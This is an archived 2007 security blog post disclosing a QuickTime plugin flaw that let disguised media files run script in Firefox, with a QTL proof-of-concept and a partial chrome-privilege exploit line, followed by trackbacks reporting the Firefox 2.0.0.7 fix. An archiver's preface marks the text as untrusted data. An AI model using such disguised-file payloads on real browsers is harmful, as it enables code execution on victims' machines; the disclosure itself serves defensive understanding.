0DAY: QuickTime pwns Firefox

0DAY: QuickTime pwns Firefox - pdp, gnucitizen.org.

- Published: date not stated
- Original: <https://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/>
- Preserved from: https://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/ (stored) on 2026-08-09
- Capture timestamp: 20071214054935

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

0DAY: QuickTime pwns Firefox | GNUCITIZEN

0DAY: QuickTime pwns Firefox

published: September 12th, 2007

It seams that QuickTime media formats can hack into Firefox. The result of this vulnerability can lead to full compromise of the browser and maybe even the underlaying operating system. **Don't try this at home**.

[image: 300 movie trailer]

Before we move on, I have to say a few things. Last year I disclosed two highly critical QuickTime vulnerabilities here and here. The first vulnerability was fixed but the second one was completely ignored. I tried to bring the spot light on the second vulnerability one more time over here, yet nobody listened. So, I decided to post a demonstration of how a *Low risk* issue can be turned into a very easy to perform **HIGH risk** attack.

The exploit is rather simple. But first, here is a simple QTL file which instructs the browser to display a friendly `alert('whats up...')` message on the screen:

```
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="presentation.mov" autoplay="true" qtnext="javascript:alert('whats up...')"/>
```

The most interesting thing about this simple XML file is that we can save it with QuickTime supported extension in order to mislead the user. If you check about:plugins you will see that QuickTime supports several media formats. We can use the audio and video formats only. This means that you can paste the above code into files with extensions: **3g2, 3gp, 3gp2, 3gpp, AMR, aac, adts, aif, aifc, aiff, amc, au, avi, bwf, caf, cdda, cel, flc, fli, gsm, m15, m1a, m1s, m1v, m2a, m4a, m4b, m4p, m4v, m75, mac, mov, mp2, mp3, mp4, mpa, mpeg, mpg, mpm, mpv, mqv, pct, pic, pict, png, pnt, pntg, qcp, qt, qti, qtif, rgb, rts, rtsp, sdp, sdv, sgi, snd, ulw, vfw, wav** and others.

Enough theory, show me some action. The exploit that gains chrome privileges looks like this:

```
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true" qtnext="-chrome javascript:file=Components.classes['@mozilla.org/file/local;1'].c
```

In practice I can do anything with the browser, like installing browser backdoors, and the operating system if the victim is running with administrative privileges. However, just for the sake of this demonstration, I simply open **calc.exe**. Keep in mind that the exploit is **cross-platformed**.

If you dare to try this in your browser, here is a list of a few files you have to click on. They are not malicious. You have my word.

BTW, QuickTime comes by default with iTunes. Therefore, iTunes users are most affected.

» comments rss | posted by » pdp

comments

trackbacks

- Severe QuickTime vulnerability in Firefox disclosed : Mozilla Links
- hackademix.net » -82DAY: NoScript pwns Quicktime pwning Firefox
- Ryan Naraine's Zero Day mobile edition
- Firefox+QuickTime == Agujero de seguridad @ otro blog m&#65533;s
- Ferrgle Security Blog » Blog Archive » Quicktime combines with Firefox Vuln
- QuickTime Vulnerability In Firefox–webmeba.com
- Mozilla Security Blog » Blog Archives » Quicktime to Firefox issue
- Ejecución de código vía Firefox y QuikTime plugin
- CHIP Online 0-security-blog » Blog Archiv » Quicktime knackt Firefox
- Technology News, Including Virtualization, 1GB Memory Mouse, Lenovo, Vista SP1
- Quicktime bug dangerous for Firefox users «
- QuickTime verursacht Sicherheitsloch in Mozillas Firefox - Developer's Guide
- Tracelight.ch - Leuchtspur im Internet » Blog Archiv » Kontrolle über Firefox mit Quicktime

- QuickTime unito a Firefox fa il botto: pericolo exploit : ÐÊ£F‡Ñ§ (Guido Arata)
- Quicktime and Firefox vulnerability - Spyware Sucks
- Bug antigüo de QuickTime compromete a Firefox hoy día | LKernelPanic
- Plugin do Quicktime permite execução de JavaScript | Security Hub
- QuickTime rei&#65533;t Sicherheitsleck in Firefox auf - TP Hilfe Forum
- QuickTime macht Firefox unsicher - Mindfactory AG Community Forum
- Про Firefox Українською » Blog Archive » Вразливість у модулі Quicktime
- [·¨-=[WHK]=-¨· » Archive » Zero day en QuickTime de apple permite la ejecución de códigos remotamente por medio de archivos “qtl”](http://whk.sitehacking.net/?p=60)
- Vulnerabilità QuickTime, Apple’s media player
- Firefox / Internet Explorer Quicktime Bug | 13337
- Grave vulnerabilidad en el PlugIn QuickTime para Firefox en Windows | MakeAndInstall
- [-=[EdadFutura]=- v.6.0 - PETA » Vulnerabilidad en Quicktime Player permite ejecución de código a través de Firefox](http://www.edadfutura.com/2007/vulnerabilidad-en-quicktime-player-permite-ejecucion-de-codigo-a-traves-de-firefox/)
- Firefox QuickTime Plugin Vulnerability
- Wordpress Exploit » mortal sin
- Firefox 2.0.0.7 - QuickTime Vulnerability Squashed - CyberNet News
- Info World » Blog Archive » Mozilla fixes QuickTime flaw in Firefox
- Firefox
- Firefox 2.0.0.7 is Live; Eliminates QuickTime Security Flaw « ShortNet
- 2.0.0.7: Firefox’a QuickTime yaması - Mac Dünyası
- Firefox 2.0.0.7 · Style Grind
- Tech News » Firefox 2.0.0.7
- diskostu sagt... Firefox 2.0.0.7 ist raus
- Second Life Loser » Blog Archive » Firefox 2.0.0.7 is Live; Eliminates QuickTime Security Flaw
- The Web Guy » Blog Archive » Firefox 2.0.0.7 Eliminates QuickTime Security Flaw
- Firefox Security Update 2.0.0.7
- Larholm.com - Me, myself and I » QuickTime qtnext 0day for IE
- Firefox patches elusive Quicktime security flaw | Computer Solution
- tim ferro » Blog Archive » Firefox 2.0.0.7
- hackademix.net » Don't Open That Doc!
- Actualització: Firefox 2.0.0.7 * Quands.cat
- Nuovi fix per Firefox | Networking - Reti, adsl, voip, wireless, firewalling
- Pwet Pwet ^o^ » Blog Archive » En vrac - #2
- T e c h n o L o g i c » 2.0.0.7: Firefox’a QuickTime yaması
- Apple fixes Quicktime flaw on Windows Vista, XP - VISTA.BLORGE.com
- Two Updates + Two Unpatched Vulnerabilities - TrendLabs | Malware Blog - by Trend Micro
- electrobrain » Blog Archive » Schwachstelle im ‘QuickTime-Plugin’
- More on the URI Protocol Handing Flaw (WinXP+IE7) « Visible Procrastinations

- Firefox 2.0.0.7 QuickTime-related Issue | Slaptijack
- Alanat News » Unpatched QuickTime Bug Threatens Firefox
- Tech News » Blog Archive » Firefox Update Patches Quicktime Flaw

respond

name: (required)

mail: (required)

website:

comment: